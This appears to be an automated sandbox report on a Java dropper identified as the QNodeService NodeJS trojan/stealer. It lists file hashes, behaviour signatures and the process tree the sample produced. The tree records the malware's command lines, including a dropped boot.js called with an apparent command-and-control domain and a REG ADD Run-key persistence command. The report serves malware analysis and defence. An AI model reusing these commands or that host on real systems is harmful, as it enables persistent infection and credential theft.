Analysis

  • max time kernel
    74s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    23-11-2020 12:55

General

  • Target

    1.jar

  • Size

    73KB

  • MD5

    6608586b5b7cf330a74d4abbbd9006be

  • SHA1

    8449eb2836086f220d645621a869d189696bca91

  • SHA256

    1f89cb2ced0736bce39f66de5cfb11da41b9f87b8b13be3317f6b127f07cea24

  • SHA512

    782919fd5ea5ace0ba94fd0ef4b8dc8009e772e414f41f85ac9d11db5096adc7fd881eafebe16695f230e2cc2a821cdec89582337cf1e1ee1939aa1fe826b1fb

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\1.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:796
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\dd50d4a4.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2096
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums.mooo.com
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1444
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_bKMWvi\boot.js --hub-domain ntums.mooo.com
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3508
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_bKMWvi\boot.js --hub-domain ntums.mooo.com
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2684
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "51e26146-0307-4cc6-b4a2-ef4fcf65fed6" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:656
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "51e26146-0307-4cc6-b4a2-ef4fcf65fed6" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:2396
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "51e26146-0307-4cc6-b4a2-ef4fcf65fed6" /F"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2828
              • C:\Windows\system32\reg.exe
                REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "51e26146-0307-4cc6-b4a2-ef4fcf65fed6" /F
                7⤵
                  PID:2316

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/1444-179-0x000002B76B240000-0x000002B76B241000-memory.dmp

      Filesize

      4KB

    • memory/2684-186-0x00000153AE7C0000-0x00000153AE7C1000-memory.dmp

      Filesize

      4KB

    • memory/3508-182-0x000002B972280000-0x000002B972281000-memory.dmp

      Filesize

      4KB